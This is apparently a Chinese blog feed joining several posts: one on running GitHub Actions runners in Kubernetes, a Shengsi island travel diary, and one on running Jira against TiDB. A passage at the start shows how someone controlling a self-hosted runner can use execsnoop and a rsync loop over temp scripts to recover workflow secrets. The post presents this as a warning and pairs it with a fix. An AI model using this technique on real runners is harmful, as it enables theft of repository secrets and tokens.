这里假设 2 已经成功,我们已经成功将任务调度到了我们的机器上,通过 https://github.com/brendangregg/perf-tools 监听事件我们可以发现,刚刚 Workflow 上的 echo ${{ secrets.SUPRA_SECRET }} | base64 事件在调度到机器上的时候,相关执行情况如下:

   831    720 /usr/bin/bash -e /home/centos/actions-runner/_work/_temp/45fa598d-59b8-4262-8a64-6fda1694c2b2.sh
   833    831 base64
   834    831 cat token.txt
   835    705 /home/centos/actions-runner/externals/node12/bin/node /home/centos/actions-runner/_work/_actions/actions/checkout/v2/dist/index.js
   854    835 /usr/bin/git version

但是在任务完成了之后对应的 _temp 会被清理掉,所以我们需要一个方式来保留下来这个文件,比如

while true; do rsync /home/centos/actions-runner/_work/_temp/*.sh ./; done

然后打开 snoopexec:

./execsnoop >> log.txt

在任务完成之后停止 execsnoop 并清理一下 Log 中的 rsync 日志:

sed -i "/rsync/d" log.txt

我们来看看我们找到了什么:

[root@centos7 tmp-sh]# cat 420886e8-f604-4187-b3d2-b6455e45467a.sh 
echo V-TEC is the Best! | base64 >> token.txt
cat token.txt

Solution

说起来蛮好笑的, 其实上面这个问题非常好解决,只要把:

export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"

换成以下就好了,根本就不应该在环境变量中放 RUNNER TOKEN。

./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token $(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token) --labels "${RUNNER_LABELS}"

Summary

TL,DR

  1. 现在我们能搜到的大部分 Self-hosted Runner 都是通过环境变量中注入 PAT(Personal Access Token) 的方式运行的,这种情况下如果允许了外部 Fork 运行的话,一定可以被偷到 Access Token,然后你的整个 Org 都完了
  2. 对于 Self-hosted Runner,Runner 的 Token 都不能暴露出去,不然有概率被偷到 Secret,如果你的 Secret 包含 SSH_HOST,SSH_KEY 的话,基本也就完了
  3. 如果你用了外面的 Self-hosted Runner 或者类似的东西的话,在他们解决类似问题前,请只在 Private repo 下使用

Reference

  1. 同步 docker hub library 镜像到本地 registry
  2. Actions
  3. Encrypted secrets
]]>
在 Kubernetes 上运行 GitHub Actions Self-hosted Runnerhttps://nova.moe/run-self-hosted-github-action-runners-on-kubernetes/Tue, 20 Jul 2021 00:00:00 +0800https://nova.moe/run-self-hosted-github-action-runners-on-kubernetes/GitHub Actions 很不错,相比较 Travis CI 而言排队不是很严重,除了用于 CI/CD 以外还可以通过提取内部的 DockerHub Credential 放到本地用于 docker pull 来避开 Docker Hub 的 429 Ratelimit 问题(参考:「 同步 docker hub library 镜像到本地 registry 」),对于一些小项目而言,GitHub Actions 提供的 Standard_DS2_v2 虚拟机确实性能还行,但是如果对于以下需求,使用 GitHub Actions 自带的机器可能就不是很合适了:

  • 编译 TiKV(Standard_DS2_v2 的 2C7G 的机器用 build dist_release 可以编译到死(或者 OOM))
  • 需要一些内部镜像协作,或使用到内网资源
  • 私有仓库,且需要大量编译(官方的 Action 对于私有仓库只有 2000 分钟的使用时间)
  • 需要更大的存储空间(官方的 GitHub Actions 只有 15G 不到的可用空间)

这种时候,我们就需要使用 Self-hosted Runner,什么是 Self-hosted Runner?

Self-hosted runners offer more control of hardware, operating system, and software tools than GitHub-hosted runners provide. With self-hosted runners, you can choose to create a custom hardware configuration with more processing power or memory to run larger jobs, install software available on your local network, and choose an operating system not offered by GitHub-hosted runners. Self-hosted runners can be physical, virtual, in a container, on-premises, or in a cloud.

对于一个 Org 而言,要添加一个 Org Level (全 Org 共享的) Runner 比较简单,只需要:

mkdir actions-runner && cd actions-runner
curl -o actions-runner-linux-x64-2.278.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.278.0/actions-runner-linux-x64-2.278.0.tar.gz
./config.sh --url https://github.com/some-github-org --token AF5TxxxxxxxxxxxA6PRRS
./run.sh

你就可以获得一个 Self hosted Runner 了,但是这样做会有一些局限性,比如:

  • 没法弹性扩容,只能一个个手动部署
  • 直接部署在裸机上,会有环境不一致的问题

Runner in Containter

Simple Docker

为了解决这个问题,我们需要把 GitHub Runner 给容器化,这里提供一个 Dockerfile 的 Example (魔改自:https://github.com/SanderKnape/github-runner),由于需要使用到类似 dind 的环境(在 Actions 中直接使用到 Docker 相关的指令),所以我加入了 docker 的 binary 进去,由于默认 Runner 不允许以 root 权限运行,为了避开后续挂载宿主机 Docker 的 sock 导致的权限问题,使用的 GitHub Runner 是一个经过修改的版本,修改版本中让 Runner 可以以 root 权限运行,修改的脚本如下:

wget https://github.com/actions/runner/releases/download/v2.278.0/actions-runner-linux-x64-2.278.0.tar.gz
tar xzf ./actions-runner-linux-x64-2.278.0.tar.gz && rm -f actions-runner-linux-x64-2.278.0.tar.gz

# 这里删除了两个文件中判断是否 root 用户的部分
sed -i '3,9d' ./config.sh
sed -i '3,8d' ./run.sh
# End

# 重新打包
tar -czf actions-runner-linux-x64-2.278.0.tar.gz *

# 删除解压出来的不需要的文件
rm -rf bin config.sh env.sh externals run.sh

然后 Dockerfile 可以这么写

FROM ubuntu:18.04

ENV GITHUB_PAT ""
ENV GITHUB_ORG_NAME ""
ENV RUNNER_WORKDIR "_work"
ENV RUNNER_LABELS ""

RUN apt-get update \
    && apt-get install -y curl sudo git jq iputils-ping zip \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    && curl https://download.docker.com/linux/static/stable/x86_64/docker-20.10.7.tgz --output docker-20.10.7.tgz \
    && tar xvfz docker-20.10.7.tgz \
    && cp docker/* /usr/bin/

USER root
WORKDIR /root/

RUN GITHUB_RUNNER_VERSION="2.278.0" \
    && curl -Ls https://internal.knat.network/action-runner/actions-runner-linux-x64-${GITHUB_RUNNER_VERSION}.tar.gz | tar xz \
    && ./bin/installdependencies.sh

COPY entrypoint.sh runsvc.sh ./
RUN sudo chmod u+x ./entrypoint.sh ./runsvc.sh

ENTRYPOINT ["./entrypoint.sh"]

其中 entrypoint.sh 的内容如下:

#!/bin/sh

# 这里如果直接使用 ./config.sh --url https://github.com/some-github-org --token AF5TxxxxxxxxxxxA6PRRS 的方式注册的话,token 会动态变化,容易导致注册后无法 remove 的问题,所以参考 https://docs.github.com/en/rest/reference/actions#list-self-hosted-runners-for-an-organization 通过 Personal Access Token 动态获取 Runner 的 Token
registration_url="https://github.com/${GITHUB_ORG_NAME}"
token_url="https://api.github.com/orgs/${GITHUB_ORG_NAME}/actions/runners/registration-token"
payload=$(curl -sX POST -H "Authorization: token ${GITHUB_PAT}" ${token_url})
export RUNNER_TOKEN=$(echo $payload | jq .token --raw-output)

if [ -z "${RUNNER_NAME}" ]; then
    RUNNER_NAME=$(hostname)
fi

./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"

# 在容器被干掉的时候自动向 GitHub 解除注册 Runner
remove() {
    if [ -n "${GITHUB_RUNNER_TOKEN}" ]; then
        export REMOVE_TOKEN=$GITHUB_RUNNER_TOKEN
    else
        payload=$(curl -sX POST -H "Authorization: token ${GITHUB_PAT}" ${token_url%/registration-token}/remove-token)
        export REMOVE_TOKEN=$(echo $payload | jq .token --raw-output)
    fi

    ./config.sh remove --unattended --token "${RUNNER_TOKEN}"
}

trap 'remove; exit 130' INT
trap 'remove; exit 143' TERM

./runsvc.sh "$*" &

wait $!

Build + 运行:

docker build . -t n0vad3v/github-runner
docker run -v /var/run/docker.sock:/var/run/docker.sock -e GITHUB_PAT="ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT" -e GITHUB_ORG_NAME="some-github-org" -it n0vad3v/github-runner

此时你就可以看到你的 Org 下多了一个船新的 Runner 了,现在终于可以利用上自己的机器快速跑任务不排队,而且性能比 GitHub Actions 强了~

Scale with Kubernetes

但是这样并不 Scale,所有的 Runner 都需要手动管理,而且,GitHub Actions 如果同时写了多个 Job ,然后 Runner 数量小于 Job 数量的话,部分 Job 就会一直排队,对于排队时间的话:

Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete.

那这个肯定是没法接受的,正好手边有个 k8s 集群,对于这类基本无状态的服务来说,让 k8s 来自动管理他们不是最好的嘛,于是可以想到写一个 Deployment,比如这样:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: github-runner-some-github-org
  labels:
    app: githubrunner
spec:
  replicas: 10
  selector:
    matchLabels:
      app: githubrunner
  template:
    metadata:
      labels:
        app: githubrunner
    spec:
      volumes:
        - name: docker-sock
          hostPath:
            path: /var/run/docker.sock
            type: File
      containers:
        - name: github-runner-some-github-org
          imagePullPolicy: Always
          image: 'n0vad3v/github-runner'
          env:
            - name: GITHUB_PAT
              value: "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT"
            - name: GITHUB_ORG_NAME
              value: "some-github-org"
            - name: RUNNER_LABELS
              value: "docker,internal-k8s"

          volumeMounts:
            - mountPath: /var/run/docker.sock
              name: docker-sock
              readOnly: false

kubectl apply -f action.yml -n novakwok,打上 Tag, 起飞!

[root@dev action]# kubectl get po -n novakwok
NAME                                                    READY   STATUS    RESTARTS   AGE
github-runner-some-github-org-deployment-9cfb598d9-4shrk   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-5rnj4   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-cvkr9   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-dmbnp   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-ggl24   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-gkgzx   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-jcscq   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-lrrxh   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-pn9cn   1/1     Running   0          26m
github-runner-some-github-org-deployment-9cfb598d9-wj2tj   1/1     Running   0          26m

Demo on Docker

由于我的需求比较特殊,我需要在 Runner 内使用 Docker 相关的指令(比如需要在 Runner 上 docker build/push),这里测试一下 Runner 是否可以正常工作,首先创建一个多 Job 的任务,像这样:

name: Test
on:
  push:
    branches: [ main ]

jobs:
  test-1:
    runs-on: [self-hosted,X64]

    steps:
      - uses: actions/checkout@v2
      - name: Run a one-line script
        run: |
          curl ip.sb
          df -h
          lscpu
          docker pull redis
                    
  test-2:
    runs-on: [self-hosted,X64]
    steps:
      - uses: actions/checkout@v2
      - name: Run a one-line script
        run: |
          curl ip.sb
          df -h
          lscpu
          docker pull redis
                    
  test-3:
    runs-on: [self-hosted,X64]
    steps:
      - uses: actions/checkout@v2
      - name: Run a one-line script
        run: |
          curl ip.sb
          df -h
          lscpu
          pwd
          docker pull redis          

然后跑一下看看是否可以 Work,首先确定是调度到了 Docker Runner 上:

然后看看 Docker 相关的操作是否可以 Work

好耶!

GC

有的时候会由于一些诡异的问题导致 Runner 掉线(比如 Remove 的时候网络断了之类的),这种之后 Org 下就会有一堆 Offline 的 Runner,为了解决这种情况,我们可以写一个简单的脚本来进行 GC,脚本如下:

import requests
import argparse

parser = argparse.ArgumentParser(description='GC Dead Self-hosted runners')
parser.add_argument('--github_pat', help='GitHub Personal Access Token')
parser.add_argument('--org_name', help='GitHub Org Name')
args = parser.parse_args()


def list_runners(org_name,github_pat):
    list_runner_url = 'https://api.github.com/orgs/{}/actions/runners'.format(org_name)
    headers = {"Authorization": "token {}".format(github_pat)}
    r = requests.get(list_runner_url,headers=headers)
    runner_list = r.json()['runners']
    return runner_list

def delete_offline_runners(org_name,github_pat,runner_list):
    headers = {"Authorization": "token {}".format(github_pat)}
    for runner in runner_list:
        if runner['status'] == "offline":
            runner_id = runner['id']
            delete_runner_url = 'https://api.github.com/orgs/{}/actions/runners/{}'.format(org_name,runner_id)
            print("Deleting runner " + str(runner_id) + ", with name of " + runner['name'])
            r = requests.delete(delete_runner_url,headers=headers)

if __name__ == '__main__':
    runner_list = list_runners(args.org_name,args.github_pat)
    delete_offline_runners(args.org_name,args.github_pat,runner_list)

用法是:python3 gc_runner.py --github_pat "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT" --org_name "some-github-org"

Some limitations

除了我们自身硬件限制以外,GitHub Actions 本身还有一些限制,比如:

  • Workflow run time - Each workflow run is limited to 72 hours. If a workflow run reaches this limit, the workflow run is cancelled.
  • Job queue time - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete.
  • API requests - You can execute up to 1000 API requests in an hour across all actions within a repository. If exceeded, additional API calls will fail, which might cause jobs to fail.
  • Job matrix - A job matrix can generate a maximum of 256 jobs per workflow run. This limit also applies to self-hosted runners.
  • Workflow run queue - No more than 100 workflow runs can be queued in a 10 second interval per repository. If a workflow run reaches this limit, the workflow run is terminated and fails to complete.

其中 API requests 这个比较玄学,由于 GitHub Actions 的工作方法官方介绍如下:

The self-hosted runner polls GitHub to retrieve application updates and to check if any jobs are queued for processing. The self-hosted runner uses a HTTPS long poll that opens a connection to GitHub for 50 seconds, and if no response is received, it then times out and creates a new long poll.

所以不是很容易判断怎么样才算是一个 API request,这一点需要在大量使用的时候才可能暴露出问题。

Git Version

这里有个小坑,容器内的 Git 版本建议在 2.18 以上,Ubuntu 18.04 没问题(默认是 2.22.5),但是 arm64v8/ubuntu:18.04 官方源包管理工具的 Git 版本是 2.17,如果用这个版本的话,会遇到这种问题:

所以需要编译一个高版本的 Git,比如 Dockerfile 可以加上这么一行:

apt install -y gcc libssl-dev libcurl4-gnutls-dev zlib1g-dev make gettext wget
wget https://www.kernel.org/pub/software/scm/git/git-2.28.0.tar.gz && tar -xvzf git-2.28.0.tar.gz && cd git-2.28.0 && ./configure --prefix=/usr/ && make && make install

小结

如上,我们已经把 Runner 封进了 Docker 容器中,并且在需要 Scale 的情况下通过 k8s 进行水平扩展,此外,我们还有一个简单的 GC 程序对可能异常掉线的 Runner 进行 GC,看上去已经满足了一些初步的需求啦~

但是这样还是有一些问题,比如:

  1. 用 root 用户跑容器可能会有潜在的风险,尤其是还暴露了宿主机的 Docker sock,所以对于普通的任务来说,还是需要一个非 root 用户的容器来运行
  2. 还是没有实现自动化扩缩容,扩缩容依赖手动修改 replica,这里需要进行自动化(例如预留 20 个 Idle 的 Runner,如果 Idle Runner 小于 20 个就自动增加)
  3. Label 管理,由于 GitHub Actions 依赖的 Label 进行调度,所以这里打 Label 其实是一个需要长期考虑的事情

References

  1. Running self-hosted GitHub Actions runners in your Kubernetes cluster
  2. About GitHub-hosted runners
  3. Actions
]]>
海岛自驾旅行——嵊泗https://nova.moe/trip-to-shengsi/Wed, 30 Jun 2021 18:00:00 +0800https://nova.moe/trip-to-shengsi/在看完了 LASTBUS 所有公开的视频了之后,去了趟 LASTBUS 的办公室找他们聊了聊,顺便白嫖洗了个车:

在看过了 LASTBUS 的 【EVO9/1M/RS3/Polestar2】这些开起来就让人笑的车,到底有怎样的驾驶乐趣?| LASTBUS TV 之后,决定带上朋友们,一起去嵊泗看看~

从上海虹桥出发,开 2 个小时的车,穿过东海大桥,历经 120+ KM,便可以到达由洋山港上由上海公司运营的,而实际上是属于浙江舟山市嵊泗县的沈家湾码头。

关于洋山港也有一个比较有意思的点:

“一港一政”是国际港口的一般特性,而洋山港是超越《中华人民共和国港口法》的唯一特例。由于港口修建在浙江省的管辖范围内,名义上归属于浙江省管辖,浙江曾希望洋山港的部分税费能交到浙江,后来因为码头公司都在上海注册,而且航政、港政等管理都归上海管辖,浙江并没有税费可分。业内人士认为,有关部门的不明确态度对洋山港日后发展会产生一定的不利影响。

附上沈家湾码头夜景两张:

嵊泗之旅的衣食住行

要从上海出发到达嵊泗,唯一可行的路线便是通过沈家湾码头出发的船,由于我们打算带车上岛,所以可选的只有「客滚船」这一个选项,这个类型的船在平时一般每天只有 3 趟,到了旅游旺季(或者节假日)可能会酌情多一些,但也不会超过 7 趟,每趟船可以买的票只有 25 张,所以到了每天早上 07:00 开始放票的时间便是异常紧张,由于他们的售票系统是一个前后端分离的项目,购票只需要调用 API 接口,所以自然而然地想到通过程序购买,由于买船票的时间是出发日的 5 天前,酒店/火车票/行程都已经提前订好了,所以这段程序的编写和调试,次次都是捏着汗的,紧张程度堪比生产环境 kubectl apply -f,因为一旦有任何 Bug,几乎就意味着去不了嵊泗,或者没法从嵊泗回来了。

客滚船上类似这个样子:

一开始看到在排队的车和远处的船的时候还在想有没有可能排到自己的时候就上不去了,后来才发现完全多虑了,由于本地居民有绿色通道,每趟船都会有很多的预留,当天我们上船之后船上可能还有差不多 1/3 的空间(估计还能再放 10 辆车)。

好在程序写的还算过关,没有在运行的时候出什么大的纰漏,才得以由此游记

上岛,开冲!

从沈家湾开始,大量的 浙L 映入眼帘,到了嵊泗本岛更是 浙L 的天下,如果说大部分苏州的 苏U 和 苏E 的特色是变道从来不大转向灯的话,那么 浙L 就是在苏州的基础上加上了一个:大量使用喇叭,随意停车,几乎从来不会闪远光灯。

由于嵊泗很小,从岛的最北段(码头)穿到岛的最东边(和尚套)可能不超过 40 分钟,所以在嵊泗上的几天我们基本开车把整个岛(以及通过桥梁连接的几个附属岛)转过 2 遍,主干道可能开过不下 4 遍,对于路面来说,大部分岛内路面没有测速,从码头到 基湖沙滩 的路全程测 40,如果想要跑山的话建议试试看「高大线」,连绵起伏的山脉+没有测速+高速下坡急弯,可以对你的轮胎和制动系统带来非常大的挑战,堪称舟山市的 Nürburgring(跑~

在嵊泗本岛上,没有我们常见的 X家,X庭等,大部分都是 xx 小庄 这种,在订购的页面上看上去图片可能非常好看,价格普遍在旺季会溢价一倍,但是可以从百度地图的街景图上发现基本都是农家 4 层楼改出来的「酒店/民宿」,所以在住方面可以多参考参考其他人游记的想法,同时可以结合百度街景图防止上当,住下来整体给我的感受是:基湖沙滩/东海渔村是两个比较集中的旅游区,前者比较老,后者的住宿条件普遍好于前者,而且后者还自带一个免费沙滩,Just across the road.

东海渔村从山上眺望看上去是这样的:

由于感觉嵊泗岛类似一个旅游城市,所以岛上的人数会随着节假日与否变化巨大,加上上面所说的大部分能订到的住宿都是农家楼改出来的,所以一旦到了淡季,可能在外玩了一天的你回到 “酒店” 发现整个 “酒店” 没有任何房间的灯是亮的,夜间一个人走进黑漆漆的楼,上楼透过安静的走到走到自己的房间门口的路上,还是有些略显诡异和恐怖。

似乎很多人上嵊泗主要是为了吃海鲜,除了海鲜之外,一般各大餐厅中还会有「炒土豆丝」(

如果想在嵊泗上吃吃喝喝的话,可以考虑在实际进店前多看看各类 APP 上的评测,减少踩坑的概率,此外,如果你和我一样不太喜欢旅游区的高消费/低质量食物的话,可以考虑去岛上唯一一个「城区」(菜园镇)上看看,那边有比较符合正常物价的商品和餐厅。

嵊泗上有不少(人造的)沙滩,有的收费,有的免费,如果有兴趣下海玩的话拖鞋和泳裤似乎是必不可少的,由于「大部分能订到的住宿都是农家楼改出来的」,所以这类房间一般配的拖鞋都不是一次性的,如果能接受的话完全可以不用额外带拖鞋,直接带上住处自带的拖鞋下海即可。

上图为天悦湾的沙滩,门票 50 CNY 一个人,由于门票只要是当天的即可反复进出大门,理论上来说可以直接低价买出来的人的门票,或者去买他们宣称的只要 40 万的靠近上海的海景房(然后就可以免费进入沙滩)(

(当天我们去的时候发现没有拖鞋,然后当地商店超市拖鞋卖到 20 CNY 一双,考虑到距离住的地方开车只有 8 分钟车程,果断开车回去拿「民宿」自带的拖鞋,有车真香)

嵊泗的景区

由于规划问题,我们只去了唯一一个景区——和尚套。听「民俗」老板的意思是:一个月中有一段时间是大潮,那段时间水是浑浊的,我们去的时候刚好是小潮,所以感觉海水质量还行,例如下图是在和尚套景区拍摄的对面的一个岛屿(非旅游岛)的景象:

靠近海边的区域可能水的颜色会有点发黄,海中间的海水也只能说是比较蓝,总体来讲,到达嵊泗之后的沿着海开车遇到的每个路口都觉得非常好看,都会停车拍照,然后大概半天新鲜劲过了之后,看到海也觉得平平无奇了,可能当地居民也是和我们一样的想法吧。

钓鱼佬

那 可 是 到 处 都 是 啊,无论是港口:

还是景区旁边的海边:

哪儿都有钓鱼佬的身影。

总结

用一句话总结整个旅途:海鲜感觉味道一般,全城免费停车,景点门票太贵,来回带车船票不好买,挑选住所有难度,符合一般海景小岛的体验。

以上。

]]>
在 TiDB 上跑 Atlassian Jirahttps://nova.moe/run-jira-on-tidb/Mon, 10 May 2021 21:56:05 +0800https://nova.moe/run-jira-on-tidb/TiDB 是一个兼容 MySQL 协议的分布式数据库,基于其分布式数据库的特征,我们可以部署出很多有有意思拓扑架构,比如在我和一些同学的家中(上海浦东,上海浦西,杭州,重庆,成都)就有一个跑在树莓派上的 TiDB 集群供内部 Metabase 使用,再比如前一阵子我们 v5.0 发布会的时候我也参与设计+搭建了一个跨 PingCAP 办公室网络的跑在树莓派上的"大集群",供大家签到使用。

以上 Overlay 网络均由 Wireguard 实现

Jira 的母公司 Atlassian 可能对于普通用户来说没啥概念,在他们收购了 Trello (那就不得不有概念了) 了之后,似乎成为了 kanban 类节目的行业老大,Jira 就是一个企业常用的 Issue 管理平台,凭借着超高的内存占用,昂贵的售价和 Java 的风格独领风骚。(但是好用是真的,只需要创建 Issue ,Assign 给对应人,就可以持续追踪整个事情的进度了),只要他别像下图这样操作就好(啥都不记录,然后 6s 内就从 Development 到 Resolved):


TiDB 既然是一个兼容 MySQL 协议的数据库,自然我们希望把 Jira 也直接跑在上面,防止单机数据库宕机或磁盘损坏导致的潜在的不可用的问题。参考「在 Docker 中部署 Jira 和 Confluence 並連接到 Amazon RDS」一文,很自然的我们就会想到启动一个 Jira 的实例,并开始连接 TiDB,其中 Jira 的 docker-compose.yml 文件内容如下:

version: '3.3'
services:
    jira-software:
        image: atlassian/jira-software:8.16.0
        volumes:
            - ./jira_data:/var/atlassian/application-data/jira
            - ./jira_lib/mysql-connector-java-5.1.49-bin.jar:/opt/atlassian/jira/lib/mysql-connector-java-5.1.49-bin.jar
            - ./jira_lib/mysql-connector-java-5.1.49.jar:/opt/atlassian/jira/lib/mysql-connector-java-5.1.49.jar
            - ./jira_lib/mysql-connector-java-8.0.23.jar:/opt/atlassian/jira/lib/mysql-connector-java-8.0.23.jar
        ports:
            - '8080:8080'

这里 TiDB 出于简单考虑,我们直接使用 tiup playground:

tiup playground v5.0.1 --host "0.0.0.0" --tiflash 0

创建数据库:

CREATE DATABASE jiradb CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;

然后配置数据库,就可以…

换个 MySQL 8.0 试试?

咦?

通过阅读 Jira 的文档我们知道,如果使用 MySQL 数据库,需要设置一下 my.ini ,根据文档 Connecting Jira to MySQL 8.0 可以了解到,需要设置以下内容:

default-storage-engine=INNODB
character_set_server=utf8mb4
innodb_default_row_format=DYNAMIC
innodb_log_file_size=2G

所以如果你用我整理好的 Jira 可用的 MySQL 配置(在 https://github.com/n0vad3v/dockerfiles/tree/master/simple-mysql/jira 中)启动 MySQL 的话,可以通过:

SHOW VARIABLES LIKE 'character_set_server';
SELECT @@innodb_default_row_format;
SELECT @@innodb_file_format;
SELECT @@innodb_large_prefix;

发现在 MySQL 下这些参数的表现如下:

mysql> SHOW VARIABLES LIKE 'character_set_server';
+----------------------+---------+
| Variable_name        | Value   |
+----------------------+---------+
| character_set_server | utf8mb4 |
+----------------------+---------+
1 row in set (0.01 sec)mysql> SELECT @@innodb_default_row_format;
+-----------------------------+
| @@innodb_default_row_format |
+-----------------------------+
| dynamic                     |
+-----------------------------+
1 row in set (0.00 sec)mysql> SELECT @@innodb_file_format;
+----------------------+
| @@innodb_file_format |
+----------------------+
| Barracuda            |
+----------------------+
1 row in set (0.00 sec)mysql> SELECT @@innodb_large_prefix;
+-----------------------+
| @@innodb_large_prefix |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)

而如果在 TiDB 下执行的话,是如下结果:

mysql> SHOW VARIABLES LIKE 'character_set_server';
+----------------------+---------+
| Variable_name        | Value   |
+----------------------+---------+
| character_set_server | utf8mb4 |
+----------------------+---------+
1 row in set (0.51 sec)mysql> SELECT @@innodb_default_row_format;
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
mysql> SELECT @@innodb_file_format;
+----------------------+
| @@innodb_file_format |
+----------------------+
| Antelope             |
+----------------------+
1 row in set (0.00 sec)mysql> SELECT @@innodb_large_prefix;
+-----------------------+
| @@innodb_large_prefix |
+-----------------------+
|                     0 |
+-----------------------+
1 row in set (0.00 sec)

可以看到有些系统变量不太一致,这个时候第一反应就是:

mysql> set @@global.innodb_default_row_format = "dynamic";
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
mysql> set @@global.innodb_file_format = "barracuda";
Query OK, 0 rows affected (0.03 sec)

mysql> set @@global.innodb_large_prefix = 1;
Query OK, 0 rows affected (0.00 sec)

然后重新连接确认:

mysql> SHOW VARIABLES LIKE 'character_set_server';
+----------------------+---------+
| Variable_name        | Value   |
+----------------------+---------+
| character_set_server | utf8mb4 |
+----------------------+---------+
1 row in set (0.62 sec)

mysql> SELECT @@innodb_default_row_format;
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
mysql> SELECT @@innodb_file_format;
+----------------------+
| @@innodb_file_format |
+----------------------+
| barracuda            |
+----------------------+
1 row in set (0.01 sec)

mysql> SELECT @@innodb_large_prefix;
+-----------------------+
| @@innodb_large_prefix |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)

看上去除了 innodb_default_row_format 以外其他的都和 MySQL 的一致了,我们再来试试看:

所以猜测可能就是 innodb_default_row_format 的不一致导致了上述问题。

Jira DB Check

由于报错信息只显示一个「This MySQL instance is not properly configured.」,而且容器日志中没有任何相关的 ERROR 日志,反正只要有任何不对 Jira 就说「not properly configured」…

既然上述猜测没法石锤,作为 Jira 的订阅用户,可以通过阅读源码的方式来判断到底 Jira 在启动的时候检查了什么。

通过 rg 可以快速找到,在 jira-project/jira-components/jira-core/src/main/resources/com/atlassian/jira/web/action/JiraWebActionSupport.properties 文件的中,这个报错信息是被定义在一个变量中了(而且一个等号两边有空格一个没有,非常迷惑)

13299:setupdb.error.mysqlVersion57.wrong.default.configuration=This MySQL instance is not properly configured. Please follow <a target="_blank" href="{0}">the documentation for MySQL 5.7 setup</a>.
13301:setupdb.error.mysqlVersion8.wrong.default.configuration = This MySQL instance is not properly configured. Please follow <a target="_blank" href="{0}">the documentation for MySQL 8 setup</a>.

继续 rg "setupdb.error.mysqlVersion57.wrong.default.configuration" ,可以发现,在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/web/action/setup/SetupDatabase.java 中有使用,查看相关代码可以发现:

try (Connection conn = databaseConfiguration.getDatasource().getConnection(bootstrapManager)){
    isDatabaseEmpty = databaseConfiguration.isDatabaseEmpty(bootstrapManager);
    if ("mysql57".equals(databaseConfiguration.getDatabaseType())) {
        isMySQL57VersionCorrect = new MySQL57OrLaterVersionPredicate().test(conn);
        isMySQL57ConfigurationCorrect = new MySQL57DefaultRowFormatChecker().test(conn);
    } else if ("mysql8".equals(databaseConfiguration.getDatabaseType())) {
        isMySQL8VersionCorrect = new MySQL8VersionPredicate().test(conn);
        isMySQL8ConfigurationCorrect = new MySQL8ConfigurationChecker().test(conn);
    }
} catch (BootstrapException | SQLException e) {
    ...
}

所以对于 MySQL 5.7 来说,就是:

  • MySQL57OrLaterVersionPredicate
  • MySQL57DefaultRowFormatChecker

而对于 MySQL 8.0 来说,是:

  • MySQL8VersionPredicate
  • MySQL8ConfigurationChecker

分别找到对应函数的定义,可以发现,在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/config/database/MySQL57OrLaterVersionPredicate.java 中,会检查 MySQL 5.7 模式下是否是真的 MySQL 5.7:

if ( major < 5 || (major == 5 && minor < 7) || major > 5) {
    return false;
} else {
    return true;
}
} catch (SQLException ex) {
    return false;
}

且在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/config/database/MySQL57DefaultRowFormatChecker.java 中可以看到:

try {
    return "DYNAMIC".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_default_row_format")) &&
            "utf8mb4".equalsIgnoreCase(res.loadGlobalVariableFromServer("character_set_server")) &&
            "Barracuda".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_file_format")) &&
            "on".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_large_prefix"));
} catch (SQLException ex) {
    return false;
}

而对于 MySQL 8.0 模式下,我们可以在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/config/database/MySQL8ConfigurationChecker.java 文件中找到:

try {
    MySQLGlobalVariableResolver res = new MySQLGlobalVariableResolver(connection);
    return "DYNAMIC".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_default_row_format")) &&
            "utf8mb4".equalsIgnoreCase(res.loadGlobalVariableFromServer("character_set_server"));
} catch (SQLException ex) {
    return false;
}

通过以上代码可以判定, Jira 在初始化数据库的时候会对数据库有以下检查:

  • MySQL 5.7 模式

    • 数据库汇报版本需要是 !(major < 5 || (major == 5 && minor < 7) || major > 5)
    • innodb_default_row_formatDYNAMIC
    • character_set_serverutf8mb4
    • innodb_file_formatBarracuda
    • innodb_large_prefixon
  • MySQL 8.0 模式

    • innodb_default_row_formatDYNAMIC
    • character_set_serverutf8mb4

这样看来可以解释上面遇到的以下问题:

  1. 在 MySQL 8.0 模式下报 MySQL 8 was selected but underlying database reports a different version. 的问题,因为 TiDB 对外展示的版本是 Server version: 5.7.25-TiDB-v5.0.1 TiDB Server (Apache License 2.0) Community Edition, MySQL 5.7 compatible ,显示的是 5.7
